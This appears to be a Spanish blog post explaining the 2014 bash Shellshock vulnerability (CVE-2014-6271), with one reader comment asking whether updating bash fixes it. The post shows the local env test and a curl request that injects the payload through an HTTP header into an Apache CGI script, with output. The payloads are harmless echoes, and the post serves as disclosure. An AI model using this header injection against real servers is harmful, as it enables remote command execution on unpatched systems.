Bug de bash shellshock CVE-2014-6271 (vulnerabilidad local y potencialmente remota)
La vulnerabilidad CVE-2014-6271 de bash, llamado shellshock, puede ser explotada tanto local como remotamente, vamos a ver unos ejemplos.
El problema radica en que es posible definir variables con código bash que serán ejecutadas al empezar a ejecutar un script en bash, por ejemplo:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" vulnerable this is a test
En versiones ya parcheadas dará un error:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" bash: warning: x: ignoring function definition attempt bash: error importing function definition for `x' this is a test
EDIT: En versiones más nuevas de bash no aparece el warning ni el error:
[root@qapla new]# env x='() { :;}; echo vulnerable' bash -c "echo this is a test" this is a test
Esto también puede ser aprovechado remotamente, por ejemplo, mediante CGIs de apache:
<Directory /var/www/cgi> Options +ExecCGI SetHandler cgi-script AllowOverride None Order allow,deny allow from all </Directory>
Si tenemos el siguiente CGI de ejemplo:
#!/bin/bash echo Content-type: text/html echo echo test
Si no llamamos veremos que nos devuelve “test”:
# curl localhost/cgi/test.sh test
Si definimos un header cualquiera, éste será pasado al bash como una variable de entorno, que se ejecutará:
# curl -H 'Test:() { :;}; echo Content-type: text/html; echo; echo VULNERABLE' localhost/cgi/test.sh VULNERABLE Content-type: text/html test
No es un problema únicamente de apache, sino cualquier daemon que se comporte igual puede ser vulnerable.
29. September 2014 at 1:08 pm :
Muy bueno! Esto se soluciona actualizando el bash?